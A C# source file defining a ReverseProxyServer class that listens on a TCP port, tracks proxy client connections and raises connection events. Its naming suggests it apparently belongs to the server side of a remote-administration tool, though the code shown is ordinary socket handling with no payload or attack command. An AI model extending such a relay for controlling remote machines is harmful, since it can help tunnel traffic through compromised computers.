186 lines
3.2 KiB
C#
186 lines
3.2 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
using Server.Connection;
|
|
|
|
namespace Server.ReverseProxy;
|
|
|
|
public class ReverseProxyServer
|
|
{
|
|
public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient);
|
|
|
|
public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient);
|
|
|
|
public readonly List<ReverseProxyClient> _clients = new List<ReverseProxyClient>();
|
|
|
|
private Socket _socket;
|
|
|
|
public Clients Clients { get; private set; }
|
|
|
|
private string UserIP
|
|
{
|
|
get
|
|
{
|
|
try
|
|
{
|
|
return ((IPEndPoint)_socket.RemoteEndPoint).Address.ToString();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return "Unknown";
|
|
}
|
|
}
|
|
|
|
public ReverseProxyClient[] ProxyClients
|
|
{
|
|
get
|
|
{
|
|
lock (_clients)
|
|
{
|
|
return _clients.ToArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
public ReverseProxyClient[] OpenConnections
|
|
{
|
|
get
|
|
{
|
|
lock (_clients)
|
|
{
|
|
List<ReverseProxyClient> list = new List<ReverseProxyClient>();
|
|
for (int i = 0; i < _clients.Count; i++)
|
|
{
|
|
if (_clients[i].ProxySuccessful)
|
|
{
|
|
list.Add(_clients[i]);
|
|
}
|
|
}
|
|
return list.ToArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
public event ConnectionEstablishedCallback OnConnectionEstablished;
|
|
|
|
public event UpdateConnectionCallback OnUpdateConnection;
|
|
|
|
public void StartServer(Clients clients, ushort port)
|
|
{
|
|
Stop();
|
|
Clients = clients;
|
|
_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
|
_socket.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), port));
|
|
_socket.Listen(100);
|
|
_socket.BeginAccept(AsyncAccept, null);
|
|
}
|
|
|
|
private void AsyncAccept(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
lock (_clients)
|
|
{
|
|
_clients.Add(new ReverseProxyClient(Clients, _socket.EndAccept(ar), this));
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
_socket.BeginAccept(AsyncAccept, null);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public void Stop()
|
|
{
|
|
if (_socket != null)
|
|
{
|
|
_socket.Close();
|
|
_socket = null;
|
|
}
|
|
lock (_clients)
|
|
{
|
|
foreach (ReverseProxyClient item in new List<ReverseProxyClient>(_clients))
|
|
{
|
|
item.Disconnect();
|
|
}
|
|
_clients.Clear();
|
|
}
|
|
}
|
|
|
|
public ReverseProxyClient GetClientByConnectionId(int connectionId)
|
|
{
|
|
lock (_clients)
|
|
{
|
|
return _clients.FirstOrDefault((ReverseProxyClient t) => t.ConnectionId == connectionId);
|
|
}
|
|
}
|
|
|
|
internal void CallonConnectionEstablished(ReverseProxyClient proxyClient)
|
|
{
|
|
try
|
|
{
|
|
if (this.OnConnectionEstablished != null)
|
|
{
|
|
this.OnConnectionEstablished(proxyClient);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
internal void CallonUpdateConnection(ReverseProxyClient proxyClient)
|
|
{
|
|
try
|
|
{
|
|
if (!proxyClient.IsConnected)
|
|
{
|
|
lock (_clients)
|
|
{
|
|
for (int i = 0; i < _clients.Count; i++)
|
|
{
|
|
if (_clients[i].ConnectionId == proxyClient.ConnectionId)
|
|
{
|
|
_clients.RemoveAt(i);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
if (this.OnUpdateConnection != null)
|
|
{
|
|
this.OnUpdateConnection(proxyClient);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public void KillConnection(int index)
|
|
{
|
|
try
|
|
{
|
|
OpenConnections[index]?.Disconnect();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|